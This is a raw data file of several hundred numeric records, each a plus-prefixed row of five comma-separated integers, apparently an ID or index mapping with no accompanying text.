+20042,8727,20041,20042,0 +9091,8728,8794,9091,0 +9092,8728,8795,9092,0 +9095,8728,8798,9095,0 +20052,8728,8798,20052,0 +20053,8728,8798,20053,0 +20054,8728,8798,20054,0 +9097,8728,8800,9097,0 +9098,8728,8800,9098,0 +20046,8728,8800,20046,0 +20047,8728,8800,20047,0 +20048,8728,8800,20048,0 +20049,8728,8800,20049,0 +9099,8728,8801,9099,0 +9103,8728,8804,9103,0 +9104,8728,8804,9104,0 +9108,8728,8806,9108,0 +9109,8728,8807,9109,0 +20063,8728,8807,20063,0 +20064,8728,8807,20064,0 +9110,8728,8808,9110,0 +20065,8728,8808,20065,0 +20066,8728,8808,20066,0 +20067,8728,8808,20067,0 +20068,8728,8808,20068,0 +20069,8728,8808,20069,0 +19296,8728,19295,19296,0 +20051,8728,20050,20051,0 +20056,8728,20055,20056,0 +20058,8728,20057,20058,0 +20060,8728,20059,20060,0 +20061,8728,20059,20061,0 +20062,8728,20059,20062,0 +9111,8729,8809,9111,0 +9112,8729,8810,9112,0 +9113,8729,8811,9113,0 +18269,8729,8811,18269,0 +9114,8729,8812,9114,0 +9115,8729,8813,9115,0 +9116,8729,8814,9116,0 +9117,8729,8815,9117,0 +9118,8730,8816,9118,0 +9119,8730,8817,9119,0 +9120,8730,8817,9120,0 +9121,8730,8817,9121,0 +9122,8730,8818,9122,0 +9123,8731,8819,9123,0 +20070,8731,8819,20070,0 +9124,8731,8820,9124,0 +9125,8731,8821,9125,0 +9128,8732,8824,9128,0 +9129,8732,8824,9129,0 +9130,8732,8824,9130,0 +9131,8732,8824,9131,0 +9132,8732,8824,9132,0 +9133,8732,8824,9133,0 +9134,8733,8825,9134,0 +9135,8733,8825,9135,0 +9136,8733,8826,9136,0 +9137,8733,8827,9137,0 +9139,8734,8829,9139,0 +9140,8734,8830,9140,0 +9141,8734,8831,9141,0 +9142,8734,8831,9142,0 +9143,8734,8831,9143,0 +9144,8734,8831,9144,0 +9145,8734,8831,9145,0 +9146,8734,8832,9146,0 +9147,8734,8832,9147,0 +9148,8734,8833,9148,0 +9149,8734,8833,9149,0 +9150,8734,8833,9150,0 +9151,8734,8834,9151,0 +9152,8734,8835,9152,0 +9153,8734,8835,9153,0 +9154,8734,8835,9154,0 +9155,8734,8835,9155,0 +9156,8734,8835,9156,0 +9157,8734,8835,9157,0 +9158,8734,8836,9158,0 +9159,8734,8836,9159,0 +9160,8734,8836,9160,0 +9161,8734,8836,9161,0 +9162,8734,8836,9162,0 +9163,8734,8836,9163,0 +9164,8734,8836,9164,0 +9165,8734,8837,9165,0 +9166,8734,8837,9166,0 +9167,8734,8837,9167,0 +9168,8734,8837,9168,0 +9183,8736,8851,9183,0 +9184,8736,8852,9184,0 +9185,8736,8853,9185,0 +9186,8736,8854,9186,0 +9187,8736,8855,9187,0 +9188,8736,8856,9188,0 +9189,8736,8856,9189,0 +9190,8736,8856,9190,0 +9191,8736,8856,9191,0 +9192,8736,8856,9192,0 +9193,8736,8856,9193,0 +9194,8736,8856,9194,0 +9195,8736,8857,9195,0 +9196,8736,8857,9196,0 +9197,8736,8857,9197,0 +9198,8736,8857,9198,0 +9199,8736,8857,9199,0 +9200,8736,8858,9200,0 +9201,8736,8859,9201,0 +18127,8736,8859,18127,0 +9202,8736,8860,9202,0 +18241,8736,18240,18241,0 +9501,9313,9325,9501,0 +9502,9313,9326,9502,0 +9503,9313,9326,9503,0 +9504,9313,9326,9504,0 +9505,9313,9326,9505,0 +9506,9313,9326,9506,0 +9507,9313,9327,9507,0 +9508,9313,9328,9508,0 +9509,9313,9329,9509,0 +9510,9313,9330,9510,0 +9511,9313,9331,9511,0 +9512,9313,9332,9512,0 +9513,9313,9332,9513,0 +9514,9313,9332,9514,0 +9515,9313,9332,9515,0 +9516,9313,9332,9516,0 +9517,9313,9332,9517,0 +9518,9313,9332,9518,0 +9519,9313,9332,9519,0 +9520,9313,9332,9520,0 +9521,9313,9332,9521,0 +9522,9313,9332,9522,0 +9523,9313,9333,9523,0 +9524,9313,9334,9524,0 +9525,9313,9335,9525,0 +9526,9313,9336,9526,0 +9527,9313,9337,9527,0 +9528,9313,9338,9528,0 +9529,9313,9338,9529,0 +9530,9313,9338,9530,0 +9531,9313,9338,9531,0 +9532,9313,9338,9532,0 +9533,9313,9338,9533,0 +9534,9313,9338,9534,0 +9535,9313,9338,9535,0 +9536,9313,9338,9536,0 +9537,9313,9338,9537,0 +9538,9313,9338,9538,0 +9539,9313,9338,9539,0 +9540,9313,9338,9540,0 +9541,9313,9339,9541,0 +9542,9313,9340,9542,0 +9543,9313,9341,9543,0 +9544,9313,9342,9544,0 +9545,9313,9343,9545,0 +9546,9313,9344,9546,0 +9547,9313,9345,9547,0 +9548,9313,9346,9548,0 +9549,9314,9347,9549,0 +9550,9314,9347,9550,0 +9551,9314,9348,9551,0 +9552,9314,9348,9552,0 +9553,9314,9348,9553,0 +9554,9314,9348,9554,0 +9555,9314,9348,9555,0 +9556,9314,9348,9556,0 +9557,9314,9348,9557,0 +9558,9314,9348,9558,0 +9559,9314,9348,9559,0 +9560,9314,9348,9560,0 +9562,9314,9349,9562,0 +9563,9314,9349,9563,0 +20370,9314,9349,20370,0 +9564,9314,9350,9564,0 +9565,9314,9350,9565,0 +9566,9314,9350,9566,0 +9567,9314,9350,9567,0 +9568,9314,9350,9568,0 +9569,9314,9350,9569,0 +9570,9314,9350,9570,0 +19551,9314,9350,19551,0 +9571,9314,9351,9571,0 +9572,9314,9351,9572,0 +9573,9314,9352,9573,0 +9574,9314,9352,9574,0 +9575,9314,9352,9575,0 +9576,9314,9352,9576,0 +9577,9314,9352,9577,0 +9578,9314,9352,9578,0 +9579,9314,9352,9579,0 +9580,9314,9353,9580,0 +9581,9314,9353,9581,0 +9582,9314,9354,9582,0 +9583,9314,9354,9583,0 +9584,9314,9354,9584,0 +9585,9314,9354,9585,0 +9586,9314,9354,9586,0 +9587,9314,9354,9587,0 +9588,9314,9354,9588,0 +9589,9314,9354,9589,0 +9590,9314,9355,9590,0 +9591,9314,9355,9591,0 +9592,9314,9355,9592,0 +9593,9314,9355,9593,0 +9594,9314,9355,9594,0 +9595,9314,9355,9595,0 +9596,9314,9355,9596,0 +9597,9314,9355,9597,0 +9598,9314,9355,9598,0 +9599,9314,9355,9599,0 +9600,9314,9355,9600,0 +9601,9314,9355,9601,0 +9602,9314,9355,9602,0 +9603,9314,9355,9603,0 +9604,9314,9355,9604,0 +9605,9314,9355,9605,0 +9606,9314,9355,9606,0 +9607,9314,9355,9607,0 +9608,9314,9356,9608,0 +9609,9314,9357,9609,0 +9610,9314,9357,9610,0 +9611,9314,9357,9611,0 +20132,9314,9357,20132,0 +20371,9314,9357,20371,0 +9612,9314,9358,9612,0 +9613,9314,9358,9613,0 +9614,9314,9358,9614,0 +9615,9314,9358,9615,0 +9616,9314,9358,9616,0 +9617,9314,9358,9617,0 +9618,9314,9358,9618,0 +9619,9314,9358,9619,0 +9620,9314,9358,9620,0 +9621,9314,9358,9621,0 +9622,9314,9358,9622,0 +9623,9314,9358,9623,0 +20297,9314,9358,20297,0 +20372,9314,9358,20372,0 +20373,9314,9358,20373,0 +9624,9314,9359,9624,0 +9625,9314,9359,9625,0 +9626,9314,9359,9626,0 +9627,9314,9359,9627,0 +9628,9314,9359,9628,0 +9629,9314,9359,9629,0 +9630,9314,9359,9630,0 +9631,9314,9359,9631,0 +9632,9314,9359,9632,0 +9633,9314,9359,9633,0 +9634,9314,9359,9634,0 +9635,9314,9359,9635,0 +9636,9314,9359,9636,0 +9637,9314,9359,9637,0 +9638,9314,9359,9638,0 +9639,9314,9359,9639,0 +9640,9314,9360,9640,0 +9641,9314,9360,9641,0 +9642,9314,9360,9642,0 +9643,9314,9360,9643,0 +9644,9314,9360,9644,0 +9645,9314,9360,9645,0 +9646,9314,9360,9646,0 +9647,9314,9360,9647,0 +9648,9314,9360,9648,0 +9649,9314,9360,9649,0 +9650,9314,9360,9650,0 +9651,9314,9360,9651,0 +19552,9314,9360,19552,0 +9652,9314,9361,9652,0 +9653,9314,9361,9653,0 +9654,9315,9362,9654,0 +9655,9315,9362,9655,0 +9656,9315,9362,9656,0 +9657,9315,9362,9657,0 +9658,9315,9362,9658,0 +9659,9315,9362,9659,0 +9660,9315,9362,9660,0 +9661,9315,9362,9661,0 +9662,9315,9362,9662,0 +9663,9315,9362,9663,0 +9664,9315,9362,9664,0 +9665,9315,9363,9665,0 +9666,9315,9363,9666,0 +9667,9315,9363,9667,0 +9668,9315,9363,9668,0 +9670,9315,9363,9670,0 +9671,9315,9363,9671,0 +9672,9315,9363,9672,0 +9673,9315,9363,9673,0 +18761,9315,9363,18761,0 +9674,9315,9364,9674,0 +9675,9315,9364,9675,0 +9676,9315,9365,9676,0 +20133,9315,9365,20133,0 +9677,9315,9366,9677,0 +9678,9315,9366,9678,0 +9679,9315,9366,9679,0 +9680,9315,9367,9680,0 +9681,9315,9367,9681,0 +9682,9315,9367,9682,0 +9683,9315,9368,9683,0 +9684,9315,9368,9684,0 +9685,9315,9369,9685,0 +9686,9315,9370,9686,0 +9687,9315,9370,9687,0 +9688,9315,9370,9688,0 +9689,9315,9370,9689,0 +9690,9315,9370,9690,0 +9691,9315,9370,9691,0 +9692,9315,9370,9692,0 +9693,9315,9370,9693,0 +9694,9315,9370,9694,0 +9695,9315,9371,9695,0 +9696,9315,9371,9696,0 +9697,9315,9372,9697,0 +9698,9315,9372,9698,0 +9699,9315,9372,9699,0 +9700,9315,9372,9700,0 +9701,9315,9373,9701,0 +9702,9315,9373,9702,0 +9703,9315,9373,9703,0 +9704,9315,9373,9704,0 +9705,9315,9374,9705,0 +9706,9315,9375,9706,0 +9707,9315,9375,9707,0 +9708,9315,9375,9708,0 +9709,9315,9375,9709,0 +9710,9315,9376,9710,0 +9711,9315,9377,9711,0 +9712,9315,9377,9712,0 +9713,9315,9377,9713,0 +9714,9315,9377,9714,0 +9715,9315,9378,9715,0 +9716,9315,9378,9716,0 +9717,9315,9379,9717,0 +9718,9315,9379,9718,0 +9719,9315,9379,9719,0 +9720,9315,9379,9720,0 +9721,9315,9380,9721,0 +9722,9315,9380,9722,0 +9723,9315,9380,9723,0 +9724,9315,9380,9724,0 +9725,9315,9380,9725,0 +9726,9315,9380,9726,0 +9727,9315,9380,9727,0 +9728,9315,9381,9728,0 +9729,9315,9381,9729,0 +9730,9315,9382,9730,0 +9731,9315,9382,9731,0 +9732,9315,9382,9732,0 +9733,9315,9382,9733,0 +9734,9315,9382,9734,0 +9735,9315,9382,9735,0 +9736,9315,9382,9736,0 +9737,9315,9382,9737,0 +9738,9315,9383,9738,0 +9739,9315,9383,9739,0 +9740,9315,9383,9740,0 +9741,9315,9383,9741,0 +9742,9315,9383,9742,0 +9743,9315,9383,9743,0 +9744,9315,9384,9744,0 +9745,9315,9384,9745,0 +9746,9315,9384,9746,0 +9747,9315,9385,9747,0 +9748,9315,9385,9748,0 +9749,9315,9385,9749,0 +9750,9315,9385,9750,0 +9751,9315,9385,9751,0 +9752,9315,9385,9752,0 +9753,9315,9385,9753,0 +9754,9315,9386,9754,0 +9755,9315,9386,9755,0 +9756,9315,9387,9756,0 +9757,9315,9387,9757,0 +9758,9315,9387,9758,0 +9759,9315,9387,9759,0 +9760,9315,9388,9760,0 +9761,9315,9388,9761,0 +9762,9315,9388,9762,0 +9763,9315,9388,9763,0 +9764,9315,9388,9764,0 +19554,9315,19553,19554,0 +19555,9315,19553,19555,0 +19556,9315,19553,19556,0 +19557,9315,19553,19557,0 +19558,9315,19553,19558,0 +19559,9315,19553,19559,0 +19560,9315,19553,19560,0 +19564,9315,19553,19564,0 +20355,9315,20354,20355,0 +9766,9316,9389,9766,0 +9767,9316,9390,9767,0 +9768,9316,9391,9768,0 +9769,9316,9391,9769,0 +9770,9316,9391,9770,0 +9771,9316,9391,9771,0 +9772,9316,9391,9772,0 +9773,9316,9391,9773,0 +9774,9316,9391,9774,0 +9775,9316,9391,9775,0 +9776,9316,9391,9776,0 +9777,9316,9391,9777,0 +9778,9316,9391,9778,0 +9779,9316,9391,9779,0 +9780,9316,9391,9780,0 +9781,9316,9392,9781,0 +9782,9316,9392,9782,0 +9783,9316,9392,9783,0 +9784,9316,9392,9784,0 +9785,9316,9392,9785,0 +9786,9316,9393,9786,0 +9787,9316,9394,9787,0 +9788,9316,9395,9788,0 +9789,9316,9396,9789,0 +9790,9316,9397,9790,0 +9791,9316,9397,9791,0 +9792,9316,9397,9792,0 +9793,9316,9397,9793,0 +9794,9316,9397,9794,0 +9795,9316,9397,9795,0 +9796,9316,9397,9796,0 +9797,9316,9398,9797,0 +9798,9316,9398,9798,0 +9799,9316,9398,9799,0 +9800,9316,9398,9800,0 +9801,9316,9399,9801,0 +9802,9316,9400,9802,0 +9803,9316,9400,9803,0 +9804,9316,9400,9804,0 +9805,9316,9401,9805,0 +9806,9316,9402,9806,0 +9807,9316,9402,9807,0 +9808,9316,9402,9808,0 +9809,9316,9402,9809,0 +9810,9316,9402,9810,0 +9811,9316,9402,9811,0 +9812,9316,9402,9812,0 +9813,9316,9402,9813,0 +9814,9316,9402,9814,0 +19139,9316,9402,19139,0 +9815,9316,9403,9815,0 +9816,9316,9404,9816,0 +9817,9316,9405,9817,0 +9818,9316,9405,9818,0 +9819,9316,9406,9819,0 +9820,9316,9407,9820,0 +9821,9316,9408,9821,0 +9822,9316,9408,9822,0 +9823,9316,9408,9823,0 +9824,9316,9408,9824,0 +9825,9316,9408,9825,0 +9826,9316,9408,9826,0 +9827,9316,9408,9827,0 +9828,9316,9408,9828,0 +9829,9316,9408,9829,0 +9830,9316,9408,9830,0 +9831,9316,9409,9831,0 +9832,9316,9410,9832,0 +9833,9316,9410,9833,0 +9834,9316,9410,9834,0 +9835,9316,9410,9835,0 +9836,9316,9410,9836,0 +9837,9316,9410,9837,0 +9838,9316,9410,9838,0 +9839,9316,9410,9839,0 +9840,9316,9410,9840,0 +9841,9316,9410,9841,0 +9842,9317,9411,9842,0 +9843,9317,9411,9843,0 +9844,9317,9411,9844,0 +9845,9317,9411,9845,0 +9846,9317,9411,9846,0 +9847,9317,9411,9847,0 +9848,9317,9411,9848,0 +9849,9317,9411,9849,0 +9850,9317,9411,9850,0 +9851,9317,9411,9851,0 +9852,9317,9411,9852,0 +9853,9317,9411,9853,0 +9854,9317,9411,9854,0 +9855,9317,9411,9855,0 +9856,9317,9411,9856,0 +9857,9317,9411,9857,0 +9858,9317,9411,9858,0 +9859,9317,9411,9859,0 +9860,9317,9411,9860,0 +9861,9317,9411,9861,0 +9862,9317,9411,9862,0 +9863,9317,9411,9863,0 +20436,9317,9411,20436,0 +20439,9317,9411,20439,0 +20441,9317,9411,20441,0 +20442,9317,9411,20442,0 +20489,9317,9411,20489,0 +9864,9317,9412,9864,0 +9865,9317,9412,9865,0 +9866,9317,9412,9866,0 +9867,9317,9412,9867,0 +9868,9318,9413,9868,0 +9870,9318,9413,9870,0 +9871,9318,9413,9871,0 +9872,9318,9414,9872,0 +9873,9318,9414,9873,0 +9874,9318,9414,9874,0 +9875,9318,9414,9875,0 +9876,9318,9414,9876,0 +9877,9318,9414,9877,0 +9878,9318,9414,9878,0 +9879,9318,9414,9879,0 +9880,9318,9415,9880,0 +9881,9318,9415,9881,0 +9882,9318,9415,9882,0 +9883,9318,9415,9883,0 +9884,9318,9415,9884,0 +9885,9318,9415,9885,0 +9886,9318,9415,9886,0 +9887,9318,9415,9887,0 +9888,9318,9415,9888,0 +9889,9318,9415,9889,0 +9890,9318,9416,9890,0 +9891,9318,9416,9891,0 +9892,9318,9416,9892,0 +9893,9318,9417,9893,0 +9894,9318,9417,9894,0 +9895,9318,9417,9895,0 +9896,9318,9417,9896,0 +9897,9318,9418,9897,0 +9898,9318,9419,9898,0 +9899,9318,9419,9899,0 +9900,9318,9419,9900,0 +9901,9318,9419,9901,0 +9902,9318,9419,9902,0 +9903,9318,9419,9903,0 +9904,9318,9419,9904,0 +9905,9318,9419,9905,0 +9906,9318,9419,9906,0 +9907,9318,9420,9907,0 +9908,9318,9420,9908,0 +9909,9318,9420,9909,0 +9910,9318,9420,9910,0 +9911,9318,9420,9911,0 +9912,9318,9420,9912,0 +9913,9318,9420,9913,0 +9914,9318,9420,9914,0 +9915,9318,9420,9915,0 +9916,9318,9420,9916,0 +9917,9318,9420,9917,0 +9918,9318,9420,9918,0 +9919,9318,9420,9919,0 +9920,9318,9420,9920,0 +9921,9318,9420,9921,0 +9922,9318,9420,9922,0 +9923,9318,9420,9923,0 +9924,9318,9420,9924,0 +19543,9318,9420,19543,0 +9927,9318,9421,9927,0 +9928,9318,9421,9928,0 +9929,9318,9421,9929,0 +14652,9318,14650,14652,0 +14653,9318,14650,14653,0 +14654,9318,14650,14654,0 +14655,9318,14650,14655,0 +14656,9318,14650,14656,0 +14657,9318,14650,14657,0 +14658,9318,14650,14658,0 +14659,9318,14651,14659,0 +14660,9318,14651,14660,0 +14661,9318,14651,14661,0 +14662,9318,14651,14662,0 +20353,9318,20352,20353,0 +9930,9319,9422,9930,0 +9931,9319,9422,9931,0 +9932,9319,9422,9932,0 +9933,9319,9422,9933,0 +9934,9319,9422,9934,0 +9935,9319,9422,9935,0 +9936,9319,9422,9936,0 +9937,9319,9423,9937,0 +9938,9319,9423,9938,0 +9939,9319,9423,9939,0 +9940,9319,9423,9940,0 +9941,9319,9423,9941,0 +9942,9319,9423,9942,0 +9943,9319,9423,9943,0 +9944,9319,9423,9944,0 +9945,9319,9423,9945,0 +9946,9319,9423,9946,0 +9947,9319,9423,9947,0 +9948,9319,9424,9948,0 +9949,9319,9424,9949,0 +9950,9319,9424,9950,0 +9951,9319,9424,9951,0 +9952,9319,9425,9952,0 +9953,9319,9426,9953,0 +9954,9319,9427,9954,0 +9955,9319,9427,9955,0 +9956,9319,9427,9956,0 +9957,9319,9427,9957,0 +9958,9319,9427,9958,0 +9959,9319,9427,9959,0 +9960,9319,9427,9960,0 +9961,9319,9427,9961,0 +9962,9319,9427,9962,0 +9963,9319,9427,9963,0 +9964,9319,9427,9964,0 +9965,9319,9427,9965,0 +9966,9319,9427,9966,0 +9967,9319,9427,9967,0 +9968,9319,9427,9968,0 +9969,9319,9427,9969,0 +13175,9319,9427,13175,0 +19540,9319,9427,19540,0 +20383,9319,9427,20383,0 +9970,9319,9428,9970,0 +9971,9319,9428,9971,0 +9972,9319,9428,9972,0 +9973,9319,9428,9973,0 +9974,9319,9428,9974,0 +9975,9319,9428,9975,0 +9976,9319,9428,9976,0 +9977,9319,9428,9977,0 +9978,9319,9428,9978,0 +9979,9319,9428,9979,0 +9980,9319,9428,9980,0 +9981,9319,9428,9981,0 +9982,9319,9428,9982,0 +9983,9319,9428,9983,0 +9984,9319,9428,9984,0 +9985,9319,9428,9985,0 +20480,9319,9428,20480,0 +9986,9319,9429,9986,0 +9987,9319,9430,9987,0 +9988,9319,9431,9988,0 +20402,9319,9431,20402,0 +20403,9319,9431,20403,0 +20404,9319,9431,20404,0 +9989,9319,9432,9989,0 +9990,9319,9433,9990,0 +9991,9319,9433,9991,0 +9992,9319,9433,9992,0 +9993,9319,9433,9993,0 +9994,9319,9433,9994,0 +9995,9319,9433,9995,0 +9996,9319,9433,9996,0 +9997,9319,9434,9997,0 +9998,9319,9434,9998,0 +9999,9319,9434,9999,0 +10000,9319,9434,10000,0 +10001,9319,9434,10001,0 +13165,9319,13164,13165,0 +13166,9319,13164,13166,0 +13167,9319,13164,13167,0 +13168,9319,13164,13168,0 +13169,9319,13164,13169,0 +13170,9319,13164,13170,0 +13171,9319,13164,13171,0 +10002,9320,9435,10002,0 +10003,9320,9435,10003,0 +10004,9320,9435,10004,0 +10005,9320,9435,10005,0 +10006,9320,9435,10006,0 +10007,9320,9435,10007,0 +10008,9320,9435,10008,0 +10016,9320,9437,10016,0 +10017,9320,9437,10017,0 +10018,9320,9437,10018,0 +10019,9320,9438,10019,0 +10020,9320,9439,10020,0 +10021,9320,9439,10021,0 +10022,9320,9439,10022,0 +10023,9320,9439,10023,0 +10024,9320,9439,10024,0 +10025,9320,9439,10025,0 +10026,9320,9439,10026,0 +10027,9320,9439,10027,0 +10028,9320,9439,10028,0 +10029,9320,9439,10029,0 +10030,9320,9439,10030,0 +10031,9320,9439,10031,0 +10032,9320,9439,10032,0 +10033,9320,9439,10033,0 +10034,9320,9439,10034,0 +10035,9320,9439,10035,0 +10036,9320,9439,10036,0 +10037,9320,9439,10037,0 +10038,9320,9440,10038,0 +10039,9320,9440,10039,0 +10040,9320,9441,10040,0 +10041,9320,9441,10041,0 +10042,9320,9442,10042,0 +10043,9320,9442,10043,0 +10048,9320,9444,10048,0 +10049,9320,9444,10049,0 +10050,9320,9444,10050,0 +10051,9320,9444,10051,0 +10052,9320,9444,10052,0 +10053,9320,9445,10053,0 +10054,9320,9445,10054,0 +10055,9320,9445,10055,0 +10056,9320,9445,10056,0 +10057,9320,9445,10057,0 +10058,9320,9445,10058,0 +10059,9320,9446,10059,0 +10060,9320,9446,10060,0 +10061,9320,9446,10061,0 +10062,9320,9446,10062,0 +10063,9320,9446,10063,0 +10064,9320,9446,10064,0 +10065,9320,9446,10065,0 +10066,9320,9446,10066,0 +10067,9320,9446,10067,0 +10068,9320,9446,10068,0 +10069,9320,9446,10069,0 +10070,9320,9446,10070,0 +10071,9320,9446,10071,0 +10072,9320,9446,10072,0 +10073,9320,9446,10073,0 +10074,9320,9446,10074,0 +10075,9320,9446,10075,0 +10076,9320,9447,10076,0 +10077,9320,9447,10077,0 +10078,9320,9447,10078,0 +10079,9320,9447,10079,0 +10080,9320,9447,10080,0 +10081,9320,9447,10081,0 +10082,9320,9447,10082,0 +10083,9320,9447,10083,0 +10084,9320,9448,10084,0 +10085,9320,9448,10085,0 +10086,9320,9448,10086,0 +10087,9320,9449,10087,0 +20357,9320,20356,20357,0 +10088,9321,9450,10088,0 +10089,9321,9450,10089,0 +10090,9321,9450,10090,0 +10091,9321,9450,10091,0 +10092,9321,9450,10092,0 +10093,9321,9450,10093,0 +10094,9321,9450,10094,0 +10095,9321,9450,10095,0 +10096,9321,9450,10096,0 +10097,9321,9450,10097,0 +10098,9321,9451,10098,0 +10099,9321,9452,10099,0 +10100,9321,9452,10100,0 +10101,9321,9452,10101,0 +10102,9321,9452,10102,0 +10103,9321,9452,10103,0 +10104,9321,9452,10104,0 +10105,9321,9452,10105,0 +10106,9321,9452,10106,0 +10107,9321,9452,10107,0 +10108,9321,9453,10108,0 +10109,9321,9453,10109,0 +10110,9321,9453,10110,0 +10111,9321,9453,10111,0 +10112,9321,9453,10112,0 +10113,9321,9453,10113,0 +10114,9321,9453,10114,0 +10115,9321,9453,10115,0 +10116,9321,9453,10116,0 +10117,9321,9453,10117,0 +10118,9321,9454,10118,0 +10119,9321,9454,10119,0 +10120,9321,9454,10120,0 +10121,9321,9454,10121,0 +10122,9321,9455,10122,0 +10123,9321,9455,10123,0 +10124,9321,9455,10124,0 +10125,9321,9455,10125,0 +10126,9321,9455,10126,0 +10127,9321,9455,10127,0 +10128,9321,9455,10128,0 +10129,9321,9455,10129,0 +10130,9321,9456,10130,0 +10131,9321,9456,10131,0 +10132,9321,9456,10132,0 +10133,9321,9456,10133,0 +20195,9321,9456,20195,0 +20196,9321,9456,20196,0 +10134,9321,9457,10134,0 +10135,9321,9457,10135,0 +10136,9321,9457,10136,0 +10137,9321,9457,10137,0 +10138,9321,9457,10138,0 +10139,9321,9457,10139,0 +10140,9321,9457,10140,0 +10141,9321,9457,10141,0 +10142,9321,9457,10142,0 +10143,9321,9457,10143,0 +10144,9321,9457,10144,0 +10145,9321,9457,10145,0 +10146,9321,9457,10146,0 +10147,9321,9457,10147,0 +10148,9321,9457,10148,0 +10149,9321,9457,10149,0 +10150,9321,9457,10150,0 +10151,9321,9457,10151,0 +10152,9321,9457,10152,0 +10153,9321,9457,10153,0 +10154,9321,9458,10154,0 +10155,9321,9458,10155,0 +10156,9321,9458,10156,0 +10157,9321,9458,10157,0 +10158,9321,9459,10158,0 +10159,9321,9460,10159,0 +10160,9321,9460,10160,0 +10161,9321,9460,10161,0 +10162,9321,9460,10162,0 +10163,9321,9460,10163,0 +10164,9321,9461,10164,0 +10165,9321,9461,10165,0 +10166,9321,9461,10166,0 +10167,9321,9462,10167,0 +10168,9321,9462,10168,0 +10169,9321,9462,10169,0 +10170,9321,9462,10170,0 +10171,9321,9462,10171,0 +10172,9321,9462,10172,0 +10173,9321,9463,10173,0 +10174,9321,9463,10174,0 +10175,9321,9463,10175,0 +10176,9321,9463,10176,0 +10177,9321,9463,10177,0 +10178,9321,9463,10178,0 +10179,9321,9464,10179,0 +10180,9321,9464,10180,0 +10181,9321,9464,10181,0 +10182,9321,9464,10182,0 +20359,9321,20358,20359,0 +10183,9322,9465,10183,0 +10184,9322,9465,10184,0 +10185,9322,9465,10185,0 +10186,9322,9465,10186,0 +10187,9322,9465,10187,0 +10188,9322,9465,10188,0 +10189,9322,9465,10189,0 +10190,9322,9465,10190,0 +10191,9322,9465,10191,0 +10192,9322,9465,10192,0 +10193,9322,9465,10193,0 +10194,9322,9465,10194,0 +10195,9322,9465,10195,0 +10196,9322,9465,10196,0 +10197,9322,9465,10197,0 +10198,9322,9465,10198,0 +10199,9322,9465,10199,0 +10200,9322,9465,10200,0 +10201,9322,9465,10201,0 +10202,9322,9465,10202,0 +10203,9322,9465,10203,0 +10204,9322,9465,10204,0 +10205,9322,9465,10205,0 +10206,9322,9465,10206,0 +20286,9322,9465,20286,0 +10207,9322,9466,10207,0 +10208,9322,9466,10208,0 +10210,9322,9466,10210,0 +10211,9322,9466,10211,0 +10212,9322,9466,10212,0 +10213,9322,9466,10213,0 +10214,9322,9466,10214,0 +10215,9322,9466,10215,0 +18764,9322,9466,18764,0 +10216,9322,9467,10216,0 +10217,9322,9468,10217,0 +10218,9322,9468,10218,0 +10219,9322,9468,10219,0 +10220,9322,9468,10220,0 +10221,9322,9468,10221,0 +10222,9322,9468,10222,0 +10223,9322,9468,10223,0 +10224,9322,9468,10224,0 +10225,9322,9468,10225,0 +10226,9322,9468,10226,0 +10227,9322,9468,10227,0 +10228,9322,9468,10228,0 +10229,9322,9468,10229,0 +10230,9322,9468,10230,0 +10231,9322,9468,10231,0 +10232,9322,9468,10232,0 +10233,9322,9468,10233,0 +10234,9322,9468,10234,0 +10235,9322,9468,10235,0 +10236,9322,9468,10236,0 +10237,9322,9468,10237,0 +10238,9322,9468,10238,0 +10239,9322,9468,10239,0 +10240,9322,9468,10240,0 +10241,9322,9468,10241,0 +10242,9322,9468,10242,0 +10243,9322,9468,10243,0 +10244,9322,9468,10244,0 +10245,9322,9468,10245,0 +10246,9322,9468,10246,0 +10247,9322,9468,10247,0 +10248,9322,9468,10248,0 +10249,9322,9468,10249,0 +10250,9322,9468,10250,0 +10251,9322,9468,10251,0 +10252,9322,9468,10252,0 +10253,9322,9468,10253,0 +10254,9322,9468,10254,0 +10255,9322,9468,10255,0 +10256,9322,9468,10256,0 +10257,9322,9468,10257,0 +10258,9322,9468,10258,0 +10259,9322,9468,10259,0 +10260,9322,9468,10260,0 +10261,9322,9468,10261,0 +10262,9322,9468,10262,0 +10263,9322,9468,10263,0 +10264,9322,9468,10264,0 +10265,9322,9468,10265,0 +10266,9322,9468,10266,0 +10267,9322,9468,10267,0 +10268,9322,9468,10268,0 +10269,9322,9468,10269,0 +10270,9322,9468,10270,0 +10271,9322,9469,10271,0 +10272,9322,9469,10272,0 +10273,9322,9469,10273,0 +10274,9322,9469,10274,0 +10275,9322,9469,10275,0 +13172,9322,9469,13172,0 +10276,9323,9470,10276,0 +10277,9323,9470,10277,0 +10278,9323,9470,10278,0 +10279,9323,9471,10279,0 +10280,9323,9471,10280,0 +10281,9323,9471,10281,0 +10282,9323,9471,10282,0 +10283,9323,9471,10283,0 +10284,9323,9471,10284,0 +10285,9323,9471,10285,0 +10286,9323,9471,10286,0 +10287,9323,9471,10287,0 +10288,9323,9471,10288,0 +10289,9323,9471,10289,0 +10290,9323,9471,10290,0 +10291,9323,9471,10291,0 +10292,9323,9471,10292,0 +10293,9323,9471,10293,0 +10294,9323,9471,10294,0 +10295,9323,9471,10295,0 +10296,9323,9471,10296,0 +10297,9323,9471,10297,0 +10298,9323,9471,10298,0 +10299,9323,9471,10299,0 +10300,9323,9471,10300,0 +10301,9323,9471,10301,0 +10302,9323,9471,10302,0 +10303,9323,9471,10303,0 +10304,9323,9471,10304,0 +10305,9323,9471,10305,0 +10306,9323,9471,10306,0 +19566,9323,9471,19566,0 +19567,9323,9471,19567,0 +19568,9323,9471,19568,0 +20298,9323,9471,20298,0 +20299,9323,9471,20299,0 +10307,9323,9472,10307,0 +10308,9323,9472,10308,0 +10309,9323,9472,10309,0 +10310,9323,9472,10310,0 +10311,9323,9472,10311,0 +10312,9323,9472,10312,0 +10313,9323,9472,10313,0 +10314,9323,9472,10314,0 +10315,9323,9472,10315,0 +10316,9323,9472,10316,0 +10317,9323,9472,10317,0 +10318,9323,9472,10318,0 +10319,9323,9472,10319,0 +10320,9323,9472,10320,0 +10321,9323,9472,10321,0 +10322,9323,9472,10322,0 +10323,9323,9472,10323,0 +10324,9323,9472,10324,0 +10325,9323,9473,10325,0 +10326,9323,9473,10326,0 +10327,9323,9473,10327,0 +10328,9323,9473,10328,0 +10329,9323,9473,10329,0 +10330,9323,9473,10330,0 +10331,9323,9474,10331,0 +10332,9323,9474,10332,0 +10333,9323,9474,10333,0 +10334,9323,9474,10334,0 +10335,9323,9474,10335,0 +10336,9323,9474,10336,0 +10337,9323,9474,10337,0 +10338,9323,9474,10338,0 +10339,9323,9474,10339,0 +10340,9323,9474,10340,0 +10341,9323,9474,10341,0 +10342,9323,9474,10342,0 